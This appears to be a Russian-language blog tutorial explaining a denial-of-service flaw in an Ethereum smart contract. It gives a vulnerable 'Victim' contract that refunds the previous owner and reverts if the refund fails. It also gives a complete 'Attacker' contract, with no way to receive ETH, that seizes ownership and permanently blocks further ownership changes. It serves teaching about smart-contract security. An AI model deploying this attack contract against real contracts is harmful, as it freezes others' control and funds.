Отказ в обслуживании

Допустим, существует контракт, который позволяет владельцу максимального количества ETH стать владельцем этого контракта.
В этом блоге мы рассмотрим, как можно взломать такой контракт, воспользовавшись уязвимостью контракта.

Рассмотрим следующий контракт:

• любой может вызвать функцию becomeOwner() и стать владельцем, отправив сумму, превышающую balance.
• При вызове функции becomeOwner(), если условие выполняется, сумма баланса передается текущему владельцу, а переменные состояния owner и баланса обновляются.

contract Victim {
    address public owner;
    uint public balance;

    function becomeOwner() external payable {
        require(msg.value > balance);
        (bool sent, ) = owner.call{value: balance}("");
        require(sent, "Send failed");

        balance = msg.value;
        owner = msg.sender;
    }
}

Теперь допустим, что контракт Victim не может отправить текущий баланс текущему владельцу, т.е. require(sent, "Send failed"); не выполняется.
В этом случае текущий владелец никогда не может быть удален, а новый владелец не может быть добавлен. Именно так злоумышленники могут взломать контракт:

contract Attacker { // has no fallback function, hence can't recieve eth
    Victim victimCOntract;

    constructor(address _victim) {
        victimCOntract = Victim(_victim);
    }

    function attack() external payable {
        victimCOntract.becomeOwner{value: msg.value}();
    }
}

Функция Attacker не имеет функции получения/обратного действия, и, следовательно, не может получить ETH, когда кто-то пытается отправить ETH, транзакция не проходит. И поэтому функция becomeOwner() никогда и никем не выполняется.

Возможно, у вас возник вопрос, если злоумышленник не может получить ETH, как он может отправить ETH жертве?
Ответ прост, если вы посмотрите на функцию attack(), то заметите, что ETH никогда не поставляется в контракт Attack. Он передается от вызывающей функции к жертве напрямую.